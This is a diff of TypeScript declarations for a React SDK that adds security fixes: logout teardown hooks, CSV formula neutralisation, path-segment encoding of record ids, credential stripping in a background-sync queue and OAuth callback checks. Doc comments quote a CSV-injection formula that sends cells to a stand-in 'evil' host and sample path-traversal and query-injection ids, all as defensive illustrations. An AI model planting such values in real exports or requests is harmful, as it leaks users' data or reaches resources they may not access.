|
|
4847
5097
|
* baseURL: import.meta.env.VITE_API_URL,
|
|
@@ -4850,7 +5100,7 @@ export declare interface CreateStorePersistOptions<T> {
|
|
|
4850
5100
|
*
|
|
4851
5101
|
* await auth.login({ email, password }); // stores session, returns the user
|
|
4852
5102
|
* const orders = await auth.api.get("/api/orders"); // sends the bearer token
|
|
4853
|
-
* auth.logout();
|
|
5103
|
+
* await auth.logout(); // clears, then runs onSessionEnd
|
|
4854
5104
|
*
|
|
4855
5105
|
* @param options - The auth configuration.
|
|
4856
5106
|
* @returns The store hook, a wired API client, and login/logout/refresh helpers.
|
|
@@ -4929,6 +5179,48 @@ export declare interface CreateTempestAuthOptions<TUser> {
|
|
|
4929
5179
|
* outside any guarded subtree and a full reload is acceptable.
|
|
4930
5180
|
*/
|
|
4931
5181
|
redirectTo?: string;
|
|
5182
|
+
/**
|
|
5183
|
+
* Tear down per-user state when a session ends — on an explicit `logout()`,
|
|
5184
|
+
* when the client ends the session on its own after a failed refresh, and
|
|
5185
|
+
* when a successful `login()` replaces a live session. Without it, the automatic path had no place to hook into, and
|
|
5186
|
+
* state derived from the user (a push subscription, a persisted query
|
|
5187
|
+
* cache, a background-sync queue) survived into the next account.
|
|
5188
|
+
*
|
|
5189
|
+
* Order, on every path:
|
|
5190
|
+
*
|
|
5191
|
+
* 1. any refresh still in flight is superseded, so it cannot reinstall the
|
|
5192
|
+
* ending session's tokens;
|
|
5193
|
+
* 2. the store and the stored refresh token are cleared — synchronously, so
|
|
5194
|
+
* `isAuthenticated` is already `false` when `logout()` returns;
|
|
5195
|
+
* 3. this hook runs with a {@link TempestSessionEnd} whose `api` still sends
|
|
5196
|
+
* the ended session's access token;
|
|
5197
|
+
* 4. on `"expired"` with `redirectTo` set, the browser navigates — after the
|
|
5198
|
+
* hook settled, even if it threw; on `"switch"`, the new session is
|
|
5199
|
+
* installed — after the hook settled, even if it threw.
|
|
5200
|
+
*
|
|
5201
|
+
* It may be async. `logout()` resolves when it settles and rejects with what
|
|
5202
|
+
* it threw; on the automatic path the error is swallowed, because the
|
|
5203
|
+
* request that ended the session already rejects with its own `401`. It
|
|
5204
|
+
* runs once per session: a second `logout()`, or the other requests of a
|
|
5205
|
+
* burst of `401`s, find nothing left to end and skip it.
|
|
5206
|
+
*
|
|
5207
|
+
* On `"switch"` the hook runs only **after** the new credentials were
|
|
5208
|
+
* accepted, so a failed `login()` leaves the live session untouched. It runs
|
|
5209
|
+
* **before** the new session is installed: teardown of the previous
|
|
5210
|
+
* account's state (clearing a persisted cache, a background-sync queue) has
|
|
5211
|
+
* to finish before the new account's requests start filling them, or it
|
|
5212
|
+
* would wipe — or race with — the new account's data. The cost is that
|
|
5213
|
+
* `isAuthenticated` is `false` while the hook runs, which a route guard may
|
|
5214
|
+
* act on; keep the hook short. Its error is swallowed there, since the
|
|
5215
|
+
* login itself succeeded.
|
|
5216
|
+
*
|
|
5217
|
+
* Inside the hook, reach the backend only through `session.api`. `auth.api`
|
|
5218
|
+
* goes out with no token; `auth.login()` waits on the teardown in progress —
|
|
5219
|
+
* this hook — and never settles. Telling the hook apart from an outside
|
|
5220
|
+
* caller would need an async context the browser does not have, so this is
|
|
5221
|
+
* a documented rule, not a runtime check.
|
|
5222
|
+
*/
|
|
5223
|
+
onSessionEnd?: (session: TempestSessionEnd<TUser>) => void | Promise<void>;
|
|
4932
5224
|
}
|
|
4933
5225
|
|
|
4934
5226
|
/**
|
|
@@ -5403,6 +5695,26 @@ export declare interface CsvOptions {
|
|
|
5403
5695
|
delimiter?: "," | ";";
|
|
5404
5696
|
/** Prefix the output with a UTF-8 BOM. Default `true`. */
|
|
5405
5697
|
bom?: boolean;
|
|
5698
|
+
/**
|
|
5699
|
+
* Prefix `'` to every text field that a spreadsheet would read as a formula.
|
|
5700
|
+
* Default `true`.
|
|
5701
|
+
*
|
|
5702
|
+
* A field starting with `=`, `+`, `-`, `@`, TAB or CR is a formula start by the
|
|
5703
|
+
* OWASP list (Excel and Google Sheets read it so; LibreOffice 26.2 evaluated only
|
|
5704
|
+
* `=`), and opening the file evaluates it: a name typed
|
|
5705
|
+
* as `=HYPERLINK("https://evil/?d="&A1,"ver")` turns into a link that exfiltrates
|
|
5706
|
+
* other cells (OWASP "CSV Injection"). Measured on LibreOffice 26.2: `=1+2` was
|
|
5707
|
+
* imported as the formula `of:=1+2` with value `3`. The default is the safe one
|
|
5708
|
+
* because the BOM and the `;` delimiter already aim the file at a spreadsheet,
|
|
5709
|
+
* and because the app that exports rarely controls every value in it.
|
|
5710
|
+
*
|
|
5711
|
+
* Numbers are never prefixed: a `number` cell, or a text field that is only a
|
|
5712
|
+
* number (`"-5"`, `"-1.234,56"`, `"+42"`, `"1e-7"`), cannot be a formula, and
|
|
5713
|
+
* neither can a lone `"-"`, which is left alone too. Pass
|
|
5714
|
+
* `false` when the file feeds another system's importer rather than a person's
|
|
5715
|
+
* spreadsheet, so the bytes round-trip unchanged.
|
|
5716
|
+
*/
|
|
5717
|
+
neutralizeFormulas?: boolean;
|
|
5406
5718
|
}
|
|
5407
5719
|
|
|
5408
5720
|
/** Cursor-paginated response envelope (`CursorPaginationSchema[T]`). */
|
|
@@ -5530,6 +5842,11 @@ export declare interface DataProviderOptions {
|
|
|
5530
5842
|
/**
|
|
5531
5843
|
* Build the request path for a resource (and optional id).
|
|
5532
5844
|
* Default: `id == null ? "/" + resource : "/" + resource + "/" + id`.
|
|
5845
|
+
*
|
|
5846
|
+
* Since 0.77.0 `id` arrives already passed through {@link encodeIdSegment}:
|
|
5847
|
+
* percent-encoded as one path segment, and never `""`, `"."` or `".."`. An
|
|
5848
|
+
* override therefore interpolates it as-is — encoding it again would turn
|
|
5849
|
+
* `%2F` into `%252F`.
|
|
5533
5850
|
*/
|
|
5534
5851
|
buildPath?: (resource: string, id?: string | number) => string;
|
|
5535
5852
|
}
|
|
@@ -6013,6 +6330,16 @@ export declare const DEFAULT_CHUNK_SIZE: number;
|
|
|
6013
6330
|
*/
|
|
6014
6331
|
export declare const DEFAULT_CIRCUITY_FACTOR = 1.3;
|
|
6015
6332
|
|
|
6333
|
+
/**
|
|
6334
|
+
* Header names treated as credentials by the service-worker helpers: never
|
|
6335
|
+
* persisted by `installBackgroundSync`, and a request carrying any of them
|
|
6336
|
+
* bypasses `installRuntimeCache` unless the route opts in. `Cookie` and
|
|
6337
|
+
* `Proxy-Authorization` are listed for completeness although the browser
|
|
6338
|
+
* forbids scripts from setting them — a cookie session is invisible to the
|
|
6339
|
+
* worker, which is why it depends on `Cache-Control` and `clearSessionData()`.
|
|
6340
|
+
*/
|
|
6341
|
+
export declare const DEFAULT_CREDENTIAL_HEADERS: readonly string[];
|
|
6342
|
+
|
|
6016
6343
|
/**
|
|
6017
6344
|
* Default cookie the CSRF token is read from.
|
|
6018
6345
|
*
|
|
@@ -6414,7 +6741,8 @@ export declare type DocumentVisibility = "visible" | "hidden";
|
|
|
6414
6741
|
* @param rows - The rows to export.
|
|
6415
6742
|
* @param columns - Columns, in the order they should appear.
|
|
6416
6743
|
* @param fileName - File name offered to the user. Default `"export.csv"`.
|
|
6417
|
-
* @param options - Delimiter and
|
|
6744
|
+
* @param options - Delimiter, BOM and formula neutralization, forwarded to
|
|
6745
|
+
* {@link toCsv}.
|
|
6418
6746
|
* @returns A promise that resolves once the share or download completes.
|
|
6419
6747
|
*/
|
|
6420
6748
|
export declare function downloadCsv<T>(rows: readonly T[], columns: readonly CsvColumn<T>[], fileName?: string, options?: CsvOptions): Promise<void>;
|
|
@@ -6603,6 +6931,34 @@ export declare interface EmptyStateProps {
|
|
|
6603
6931
|
className?: string;
|
|
6604
6932
|
}
|
|
6605
6933
|
|
|
6934
|
+
/**
|
|
6935
|
+
* Encode a record id as exactly one URL path segment.
|
|
6936
|
+
*
|
|
6937
|
+
* The data provider calls this on every id before building a path, because the
|
|
6938
|
+
* id is the one part of the URL that may come from outside the app — a search
|
|
6939
|
+
* param, a hash, a decoded route param, a value another user stored. Left raw,
|
|
6940
|
+
* `"../../admin/users"` walks the authenticated request out of the resource,
|
|
6941
|
+
* `"7?role=admin"` injects query params and `"7#x"` truncates the path, all
|
|
6942
|
+
* while the request still carries the bearer token (#438).
|
|
6943
|
+
*
|
|
6944
|
+
* `encodeURIComponent` neutralises `/`, `?`, `#` and `%`. It leaves `.` alone,
|
|
6945
|
+
* so `""`, `"."` and `".."` are rejected instead: the URL parser resolves them
|
|
6946
|
+
* as dot-segments whatever the encoding, and none of them names a record.
|
|
6947
|
+
* `null` and `undefined` — what an untyped caller or a not-yet-loaded route
|
|
6948
|
+
* param hands over — are rejected too, since `String()` would turn them into
|
|
6949
|
+
* the literal segments `"null"` and `"undefined"`.
|
|
6950
|
+
*
|
|
6951
|
+
* @param id - The record id, as handed to the provider.
|
|
6952
|
+
* @returns The percent-encoded segment, safe to interpolate between two `/`.
|
|
6953
|
+
* @throws {TypeError} When the id is `null`, `undefined`, `""`, `"."` or `".."`.
|
|
6954
|
+
*
|
|
6955
|
+
* @example
|
|
6956
|
+
* encodeIdSegment(7); // "7"
|
|
6957
|
+
* encodeIdSegment("a/b?x=1"); // "a%2Fb%3Fx%3D1"
|
|
6958
|
+
* encodeIdSegment(".."); // throws TypeError
|
|
6959
|
+
*/
|
|
6960
|
+
export declare function encodeIdSegment(id: string | number): string;
|
|
6961
|
+
|
|
6606
6962
|
/**
|
|
6607
6963
|
* Encode text into a QR matrix.
|
|
6608
6964
|
*
|
|
@@ -6784,6 +7140,53 @@ export declare interface EventStreamMessage<T> {
|
|
|
6784
7140
|
|
|
6785
7141
|
export declare type EventStreamStatus = "idle" | "connecting" | "open" | "closed" | "error";
|
|
6786
7142
|
|
|
7143
|
+
/**
|
|
7144
|
+
* Finish a `tempest-fastapi-sdk` social login from the SPA's callback route.
|
|
7145
|
+
*
|
|
7146
|
+
* Reads the redirect with {@link readOAuthCallbackParams} and forwards `code`
|
|
7147
|
+
* **and** `state` to `GET {prefix}/oauth/{provider}/callback`, where the backend
|
|
7148
|
+
* compares the state against its `HttpOnly` cookie, redeems the code and
|
|
7149
|
+
* answers with the same JWT pair `POST {prefix}/login` returns.
|
|
7150
|
+
*
|
|
7151
|
+
* The request goes with `credentials: "include"` because the state cookie is
|
|
7152
|
+
* the other half of the comparison; with `skipAuth`, since there is no session
|
|
7153
|
+
* yet and a `401` here means a forged or expired callback, not an expired token
|
|
7154
|
+
* to refresh; and with `retry: false`, because the backend clears the state
|
|
7155
|
+
* cookie on the first attempt and a code redeems once.
|
|
7156
|
+
*
|
|
7157
|
+
* Pass it as the `exchange` of {@link useOAuthCallback}, which runs it once even
|
|
7158
|
+
* under StrictMode.
|
|
7159
|
+
*
|
|
7160
|
+
* @param api - The client from `createApiClient` (or `createTempestAuth().api`).
|
|
7161
|
+
* @param provider - The provider key registered on the backend (e.g. `"google"`).
|
|
7162
|
+
* @param options - Router prefix, the query string to read, abort signal.
|
|
7163
|
+
* @returns The backend's login response.
|
|
7164
|
+
* @throws {OAuthCallbackError} Before any request, when the redirect carries
|
|
7165
|
+
* `error` or lacks `state` or `code`.
|
|
7166
|
+
*
|
|
7167
|
+
* @example
|
|
7168
|
+
* const { loading, error } = useOAuthCallback<LoginResponse>({
|
|
7169
|
+
* exchange: () => exchangeOAuthCallback<LoginResponse>(api, "google"),
|
|
7170
|
+
* onSuccess: () => navigate("/", { replace: true }),
|
|
7171
|
+
* });
|
|
7172
|
+
*/
|
|
7173
|
+
export declare function exchangeOAuthCallback<T>(api: ApiClient, provider: string, options?: ExchangeOAuthCallbackOptions): Promise<T>;
|
|
7174
|
+
|
|
7175
|
+
/** Options for {@link exchangeOAuthCallback}. */
|
|
7176
|
+
export declare interface ExchangeOAuthCallbackOptions {
|
|
7177
|
+
/**
|
|
7178
|
+
* Path the backend's auth router is mounted at — the `prefix` given to
|
|
7179
|
+
* `make_auth_router`. Default: `"/auth"`.
|
|
7180
|
+
*/
|
|
7181
|
+
prefix?: string;
|
|
7182
|
+
/** Where to read the provider's redirect from. Default: `window.location.search`. */
|
|
7183
|
+
search?: string | URLSearchParams;
|
|
7184
|
+
/** Forwarded to {@link readOAuthCallbackParams}. Default: scrub when reading `window.location`. */
|
|
7185
|
+
scrubUrl?: boolean;
|
|
7186
|
+
/** Abort the exchange. */
|
|
7187
|
+
signal?: AbortSignal;
|
|
7188
|
+
}
|
|
7189
|
+
|
|
6787
7190
|
/**
|
|
6788
7191
|
* Grow a bounding box outward by `ratio` of its own span on every side, with a
|
|
6789
7192
|
* small absolute floor so a single-point (zero-span) box still gets padding.
|
|
@@ -8217,9 +8620,17 @@ export declare function inspectCaches(options?: {
|
|
|
8217
8620
|
|
|
8218
8621
|
/**
|
|
8219
8622
|
* Install the background-sync queue: on a failed mutating request, the request
|
|
8220
|
-
* is serialized to IndexedDB and a sync is
|
|
8221
|
-
* rejects (so your app can show an offline
|
|
8222
|
-
* later when the network returns.
|
|
8623
|
+
* is serialized to IndexedDB (without its credential headers) and a sync is
|
|
8624
|
+
* registered; the original fetch still rejects (so your app can show an offline
|
|
8625
|
+
* state), and the request is replayed later when the network returns.
|
|
8626
|
+
*
|
|
8627
|
+
* Right after queueing, the worker asks the page that issued the request who is
|
|
8628
|
+
* signed in (`getPrincipal` on {@link provideBackgroundSyncCredentials}) and
|
|
8629
|
+
* stamps the entry with that owner, without delaying the rejection. The work is
|
|
8630
|
+
* handed to `event.waitUntil` synchronously, so the worker stays alive for it
|
|
8631
|
+
* in every engine. Without the Background Sync API (every non-Chromium
|
|
8632
|
+
* browser), the queue is drained opportunistically whenever a `GET` goes
|
|
8633
|
+
* through the worker.
|
|
8223
8634
|
*
|
|
8224
8635
|
* @tempest-limits empty-catch — `registration.sync.register` is unavailable on
|
|
8225
8636
|
* every non-Chromium browser and fails on a revoked background-sync permission.
|
|
@@ -8229,20 +8640,6 @@ export declare function inspectCaches(options?: {
|
|
|
8229
8640
|
*/
|
|
8230
8641
|
export declare function installBackgroundSync(options?: InstallBackgroundSyncOptions): void;
|
|
8231
8642
|
|
|
8232
|
-
/**
|
|
8233
|
-
* Background-sync helper: queue failed mutating requests (POST/PUT/PATCH/DELETE)
|
|
8234
|
-
* while offline and replay them when connectivity returns. A dependency-free
|
|
8235
|
-
* take on Workbox's `BackgroundSyncPlugin`, backed by a tiny IndexedDB queue.
|
|
8236
|
-
*
|
|
8237
|
-
* Import inside your `sw.ts`. Uses the Background Sync API (`registration.sync`)
|
|
8238
|
-
* when available, and also replays opportunistically on the next request as a
|
|
8239
|
-
* fallback for browsers without it (e.g. Safari).
|
|
8240
|
-
*
|
|
8241
|
-
* @example
|
|
8242
|
-
* import { installBackgroundSync } from "tempest-react-sdk/sw";
|
|
8243
|
-
*
|
|
8244
|
-
* installBackgroundSync({ match: (url) => url.pathname.startsWith("/api/") });
|
|
8245
|
-
*/
|
|
8246
8643
|
/** Options for {@link installBackgroundSync}. */
|
|
8247
8644
|
export declare interface InstallBackgroundSyncOptions {
|
|
8248
8645
|
/**
|
|
@@ -8262,6 +8659,36 @@ export declare interface InstallBackgroundSyncOptions {
|
|
|
8262
8659
|
* thread with {@link registerPeriodicSync}. Default `${queueName}-periodic`.
|
|
8263
8660
|
*/
|
|
8264
8661
|
periodicSyncTag?: string;
|
|
8662
|
+
/**
|
|
8663
|
+
* Header names stripped before a request is persisted — and stripped again on
|
|
8664
|
+
* replay, so entries written by an older version never go out with the
|
|
8665
|
+
* credential they stored. Default {@link DEFAULT_CREDENTIAL_HEADERS}; extend it
|
|
8666
|
+
* for a custom credential header (`[...DEFAULT_CREDENTIAL_HEADERS,
|
|
8667
|
+
* "x-tenant-key"]`). Passing `[]` restores the pre-0.77 behavior of
|
|
8668
|
+
* persisting and replaying every header, credentials included.
|
|
8669
|
+
*/
|
|
8670
|
+
credentialHeaders?: readonly string[];
|
|
8671
|
+
/**
|
|
8672
|
+
* Prepare each queued request right before it is replayed: return the
|
|
8673
|
+
* request to send (typically with the current credentials applied) or
|
|
8674
|
+
* `null` to drop the entry for good. A thrown error keeps the entry pending.
|
|
8675
|
+
* The context carries the entry's owner, so a custom hook can apply the
|
|
8676
|
+
* same rule as the default.
|
|
8677
|
+
*
|
|
8678
|
+
* Default: an entry with no stripped credentials and no bound owner is
|
|
8679
|
+
* replayed as-is. The others ask every open window client in parallel (see
|
|
8680
|
+
* {@link provideBackgroundSyncCredentials}) and pick the answer that fits:
|
|
8681
|
+
* - `"bound"`: the answer whose owner matches; none among valid answers →
|
|
8682
|
+
* dropped, never sent anonymously or as somebody else;
|
|
8683
|
+
* - `"unknown"`: only an answer without a principal (an app that does not use
|
|
8684
|
+
* `getPrincipal`); every answer has one → dropped;
|
|
8685
|
+
* - `"unbound"`: any answer, preferring one without a principal.
|
|
8686
|
+
* Then `null` headers drop a credentialed entry, an answer that lacks one of
|
|
8687
|
+
* the stripped headers keeps it pending, and only the stripped names are
|
|
8688
|
+
* re-applied. No valid answer at all keeps it pending until
|
|
8689
|
+
* `maxRetentionMinutes` (and warns once per replay in development builds).
|
|
8690
|
+
*/
|
|
8691
|
+
beforeReplay?: (request: Request, context: BackgroundSyncReplayContext) => Request | null | Promise<Request | null>;
|
|
8265
8692
|
}
|
|
8266
8693
|
|
|
8267
8694
|
/**
|
|
@@ -8494,6 +8921,14 @@ export declare interface InstallPushHandlerOptions {
|
|
|
8494
8921
|
* given runtime strategies. Non-matching requests are left untouched (no
|
|
8495
8922
|
* `respondWith`), so a later {@link installPrecache} can handle them.
|
|
8496
8923
|
*
|
|
8924
|
+
* A request carrying a credential header (`Authorization`, `X-Api-Key`, … — the
|
|
8925
|
+
* route's `credentialHeaders`) is also left untouched unless its route sets
|
|
8926
|
+
* `cacheAuthenticated`, and a response with `Cache-Control: no-store`
|
|
8927
|
+
* (or `private`, without that opt-in) is served but never stored. `maxAgeSeconds`
|
|
8928
|
+
* applies to every read, including the offline fallback: an expired entry is a
|
|
8929
|
+
* miss, never a last resort. Under `rangeRequests`, the full resource is cached
|
|
8930
|
+
* once (the `Range` header stripped) and each range is sliced from it.
|
|
8931
|
+
*
|
|
8497
8932
|
* Register this BEFORE `installPrecache` so specific routes win over the
|
|
8498
8933
|
* precache catch-all.
|
|
8499
8934
|
*
|
|
@@ -10639,6 +11074,38 @@ export declare interface NProgressState {
|
|
|
10639
11074
|
active: boolean;
|
|
10640
11075
|
}
|
|
10641
11076
|
|
|
11077
|
+
/**
|
|
11078
|
+
* A provider redirect that cannot be exchanged for a session.
|
|
11079
|
+
*
|
|
11080
|
+
* Thrown before any request leaves the browser, so a forged or truncated
|
|
11081
|
+
* callback never reaches the backend's exchange route.
|
|
11082
|
+
*/
|
|
11083
|
+
export declare class OAuthCallbackError extends Error {
|
|
11084
|
+
/** Which part of the callback was wrong. */
|
|
11085
|
+
readonly reason: OAuthCallbackErrorReason;
|
|
11086
|
+
/** The provider's `error` param (e.g. `"access_denied"`), when `reason` is `"provider_error"`. */
|
|
11087
|
+
readonly providerError?: string;
|
|
11088
|
+
/**
|
|
11089
|
+
* @param reason - Which part of the callback was wrong.
|
|
11090
|
+
* @param providerError - The provider's `error` param, when it sent one.
|
|
11091
|
+
*/
|
|
11092
|
+
constructor(reason: OAuthCallbackErrorReason, providerError?: string);
|
|
11093
|
+
}
|
|
11094
|
+
|
|
11095
|
+
/** Why {@link readOAuthCallbackParams} refused a callback URL. */
|
|
11096
|
+
export declare type OAuthCallbackErrorReason = "provider_error" | "missing_state" | "missing_code";
|
|
11097
|
+
|
|
11098
|
+
/** The two values a provider appends to the redirect URI on success. */
|
|
11099
|
+
export declare interface OAuthCallbackParams {
|
|
11100
|
+
/** Single-use authorization code. */
|
|
11101
|
+
code: string;
|
|
11102
|
+
/**
|
|
11103
|
+
* The CSRF `state` the backend minted when the flow started. Forwarded
|
|
11104
|
+
* verbatim: only the backend holds the value it must match.
|
|
11105
|
+
*/
|
|
11106
|
+
state: string;
|
|
11107
|
+
}
|
|
11108
|
+
|
|
10642
11109
|
export declare interface OAuthCredential {
|
|
10643
11110
|
/** Provider-issued ID token (JWT). */
|
|
10644
11111
|
idToken: string;
|
|
@@ -10720,19 +11187,68 @@ export declare interface OfflineIndicatorProps extends HTMLAttributes<HTMLDivEle
|
|
|
10720
11187
|
children?: ReactNode;
|
|
10721
11188
|
}
|
|
10722
11189
|
|
|
11190
|
+
/** Options for {@link OfflineQueryPersistence.clear}. */
|
|
11191
|
+
export declare interface OfflineQueryClearOptions {
|
|
11192
|
+
/**
|
|
11193
|
+
* Also clear the in-memory `QueryClient` (`queryClient.clear()`) once
|
|
11194
|
+
* persistence has stopped and the snapshot is deleted — the one-call logout.
|
|
11195
|
+
* Default `false`: the client belongs to the app, which may want to keep
|
|
11196
|
+
* public queries (a catalog, feature flags) across sessions and drop only
|
|
11197
|
+
* the user-scoped keys with `removeQueries`.
|
|
11198
|
+
*/
|
|
11199
|
+
resetClient?: boolean;
|
|
11200
|
+
}
|
|
11201
|
+
|
|
10723
11202
|
/** Handle returned by {@link persistQueryClientOffline}. */
|
|
10724
11203
|
export declare interface OfflineQueryPersistence {
|
|
10725
11204
|
/**
|
|
10726
11205
|
* Load the persisted snapshot into the `QueryClient`. Call once on boot,
|
|
10727
|
-
* before rendering queries, so cached data is available offline.
|
|
11206
|
+
* before rendering queries, so cached data is available offline. A no-op
|
|
11207
|
+
* once {@link OfflineQueryPersistence.clear} has been called.
|
|
10728
11208
|
*/
|
|
10729
11209
|
restore: () => Promise<void>;
|
|
10730
|
-
/**
|
|
11210
|
+
/**
|
|
11211
|
+
* Write the current cache snapshot immediately (bypassing the throttle). A
|
|
11212
|
+
* no-op once {@link OfflineQueryPersistence.clear} has been called.
|
|
11213
|
+
*/
|
|
10731
11214
|
flush: () => Promise<void>;
|
|
10732
|
-
/** Stop persisting and drop the pending write. */
|
|
11215
|
+
/** Stop persisting and drop the pending write. Idempotent. */
|
|
10733
11216
|
unsubscribe: () => void;
|
|
10734
|
-
/**
|
|
10735
|
-
|
|
11217
|
+
/**
|
|
11218
|
+
* End the persisted session (e.g. on logout) and delete the snapshot.
|
|
11219
|
+
*
|
|
11220
|
+
* Terminal for this handle: it cancels the pending throttled write, stops
|
|
11221
|
+
* persisting cache changes, waits for any write already in flight and only
|
|
11222
|
+
* then deletes the row — so neither a write pending in the last throttle
|
|
11223
|
+
* window nor cache activity after logout (the next user's first query) can
|
|
11224
|
+
* re-persist the previous user's responses. Afterwards `restore`/`flush`
|
|
11225
|
+
* are no-ops; to persist a new session, call
|
|
11226
|
+
* {@link persistQueryClientOffline} again after login. In a dev build
|
|
11227
|
+
* (`isDevBuild()`), the first `restore`, `flush` or added/updated query on
|
|
11228
|
+
* an ended handle logs one `console.warn` saying so, because a handle kept
|
|
11229
|
+
* at module scope would otherwise stop persisting in silence.
|
|
11230
|
+
*
|
|
11231
|
+
* Ordered against other handles on the same `databaseName` + `key`: until
|
|
11232
|
+
* this clear settles, a new handle's `restore()` and writes wait for it, so
|
|
11233
|
+
* a handle created on login without awaiting the logout neither hydrates
|
|
11234
|
+
* the previous snapshot nor has its first write deleted.
|
|
11235
|
+
*
|
|
11236
|
+
* If the delete rejects, `resetClient` still clears the client and the
|
|
11237
|
+
* rejection reaches the caller.
|
|
11238
|
+
*
|
|
11239
|
+
* The in-memory `QueryClient` is cleared only with `resetClient: true`, and
|
|
11240
|
+
* then only after persistence has stopped, so the reset itself cannot
|
|
11241
|
+
* trigger a write. It is opt-in because the app owns the client and the
|
|
11242
|
+
* shape of its logout: it may keep public queries and drop only the
|
|
11243
|
+
* user-scoped keys with `removeQueries`. Because persistence is already
|
|
11244
|
+
* off, that manual call can come before or after this one.
|
|
11245
|
+
*
|
|
11246
|
+
* Idempotent and safe to call concurrently; every call deletes the row
|
|
11247
|
+
* again.
|
|
11248
|
+
*
|
|
11249
|
+
* @param options - `resetClient` also clears the in-memory `QueryClient`.
|
|
11250
|
+
*/
|
|
11251
|
+
clear: (options?: OfflineQueryClearOptions) => Promise<void>;
|
|
10736
11252
|
}
|
|
10737
11253
|
|
|
10738
11254
|
/** Options for {@link persistQueryClientOffline}. */
|
|
@@ -11697,7 +12213,23 @@ export declare interface PeerMesh {
|
|
|
11697
12213
|
applyQuality: (quality: MeshQuality) => Promise<void>;
|
|
11698
12214
|
/** Replace the ICE servers used for links opened from now on. */
|
|
11699
12215
|
setIceServers: (servers: RTCIceServer[]) => void;
|
|
11700
|
-
/**
|
|
12216
|
+
/**
|
|
12217
|
+
* Close every link, forget the local tracks and report `closed` — for good.
|
|
12218
|
+
*
|
|
12219
|
+
* Stopping is terminal. The signalling socket usually outlives the call, so
|
|
12220
|
+
* an offer still in flight from a former participant, or from anyone the
|
|
12221
|
+
* server relays to this user, keeps reaching {@link PeerMesh.accept} after
|
|
12222
|
+
* the hang-up. A stopped mesh drops it: no connection is opened, nothing is
|
|
12223
|
+
* answered and no track is published, so a call that reports `closed` never
|
|
12224
|
+
* sends the microphone or camera again. The same holds for `addPeer`,
|
|
12225
|
+
* `setLocalTrack` and `applyQuality`, and for every negotiation that was
|
|
12226
|
+
* already awaiting the browser when `stop()` ran. Calling it twice is a
|
|
12227
|
+
* no-op.
|
|
12228
|
+
*
|
|
12229
|
+
* The tracks themselves are not stopped: they belong to the caller, who may
|
|
12230
|
+
* still be showing them in a preview or reusing them on the next call. To
|
|
12231
|
+
* join again, create a new mesh.
|
|
12232
|
+
*/
|
|
11701
12233
|
stop: () => void;
|
|
11702
12234
|
/** The peers as the mesh currently sees them. */
|
|
11703
12235
|
readonly peers: MeshPeer[];
|
|
@@ -11820,11 +12352,18 @@ export declare interface PermissionsFromTokenOptions {
|
|
|
11820
12352
|
* @param options - The client plus storage/throttle configuration.
|
|
11821
12353
|
* @returns A handle with `restore`, `flush`, `clear` and `unsubscribe`.
|
|
11822
12354
|
*
|
|
12355
|
+
* `clear()` is terminal for the handle (see {@link OfflineQueryPersistence.clear}):
|
|
12356
|
+
* a logout that only deleted the row used to be undone by the pending write or
|
|
12357
|
+
* by the next cache event, restoring the previous user's data on the next boot
|
|
12358
|
+
* (#440).
|
|
12359
|
+
*
|
|
11823
12360
|
* @example
|
|
11824
12361
|
* const persistence = persistQueryClientOffline({ queryClient });
|
|
11825
|
-
* await persistence.restore();
|
|
11826
|
-
*
|
|
11827
|
-
*
|
|
12362
|
+
* await persistence.restore();
|
|
12363
|
+
*
|
|
12364
|
+
* async function logout(): Promise<void> {
|
|
12365
|
+
* await persistence.clear({ resetClient: true });
|
|
12366
|
+
* }
|
|
11828
12367
|
*/
|
|
11829
12368
|
export declare function persistQueryClientOffline(options: OfflineQueryPersistenceOptions): OfflineQueryPersistence;
|
|
11830
12369
|
|
|
@@ -12170,6 +12709,57 @@ export declare type ProgressVariant = "primary" | "success" | "warning" | "dange
|
|
|
12170
12709
|
*/
|
|
12171
12710
|
export declare function projectMercator(coord: Coordinate): MercatorPoint;
|
|
12172
12711
|
|
|
12712
|
+
/**
|
|
12713
|
+
* Answer the worker's questions about queued requests (see `beforeReplay` on
|
|
12714
|
+
* {@link installBackgroundSync}). Install it once in every page, next to your
|
|
12715
|
+
* auth setup; it reads the token at replay time, so the queue never has to store
|
|
12716
|
+
* it. Without it, a queued request that carried a credential header is never
|
|
12717
|
+
* replayed.
|
|
12718
|
+
*
|
|
12719
|
+
* `getHeaders` must return **every** credential header the app sends (the worker
|
|
12720
|
+
* keeps an entry pending when one it stripped is missing), or `null` when there
|
|
12721
|
+
* is no session — the worker then drops the entry instead of replaying it
|
|
12722
|
+
* anonymously. A throw from `getHeaders` or `getPrincipal` is answered as an
|
|
12723
|
+
* explicit `{ error: true }`. The worker only applies headers whose names the
|
|
12724
|
+
* original request carried, so returning `Authorization` for every URL never
|
|
12725
|
+
* leaks it to a URL that did not receive it in the first place.
|
|
12726
|
+
*
|
|
12727
|
+
* Pass `getPrincipal` to bind each entry to whoever queued it: the worker asks
|
|
12728
|
+
* the issuing tab right after queueing, asks every tab again before replaying,
|
|
12729
|
+
* and drops the entry when no signed-in tab is its owner.
|
|
12730
|
+
*
|
|
12731
|
+
* @param getHeaders - Resolves the headers for one queued request at replay.
|
|
12732
|
+
* @param options - `getPrincipal` binds entries to their owner.
|
|
12733
|
+
* @returns A function that removes the listener. A no-op outside the browser.
|
|
12734
|
+
*
|
|
12735
|
+
* @example
|
|
12736
|
+
* import { provideBackgroundSyncCredentials } from "tempest-react-sdk/sw";
|
|
12737
|
+
*
|
|
12738
|
+
* const stop = provideBackgroundSyncCredentials(
|
|
12739
|
+
* () => {
|
|
12740
|
+
* const token = localStorage.getItem("token");
|
|
12741
|
+
* return token ? { Authorization: `Bearer ${token}` } : null;
|
|
12742
|
+
* },
|
|
12743
|
+
* { getPrincipal: () => localStorage.getItem("userId") },
|
|
12744
|
+
* );
|
|
12745
|
+
*/
|
|
12746
|
+
export declare function provideBackgroundSyncCredentials(getHeaders: BackgroundSyncCredentialsProvider, options?: ProvideBackgroundSyncCredentialsOptions): () => void;
|
|
12747
|
+
|
|
12748
|
+
/** Options for {@link provideBackgroundSyncCredentials}. */
|
|
12749
|
+
export declare interface ProvideBackgroundSyncCredentialsOptions {
|
|
12750
|
+
/**
|
|
12751
|
+
* Who is signed in right now — a stable, non-secret id such as the user id;
|
|
12752
|
+
* `null`/`undefined` when nobody is. Read when a request is queued and again
|
|
12753
|
+
* when it is replayed: an entry is only sent while the same principal is
|
|
12754
|
+
* signed in, and dropped otherwise, so a mutation queued by one account is
|
|
12755
|
+
* never sent with another account's credentials even when the app forgets
|
|
12756
|
+
* `clearSessionData()` on logout. Only a SHA-256 fingerprint reaches the
|
|
12757
|
+
* queue, never the value itself. A throw is answered as an explicit error,
|
|
12758
|
+
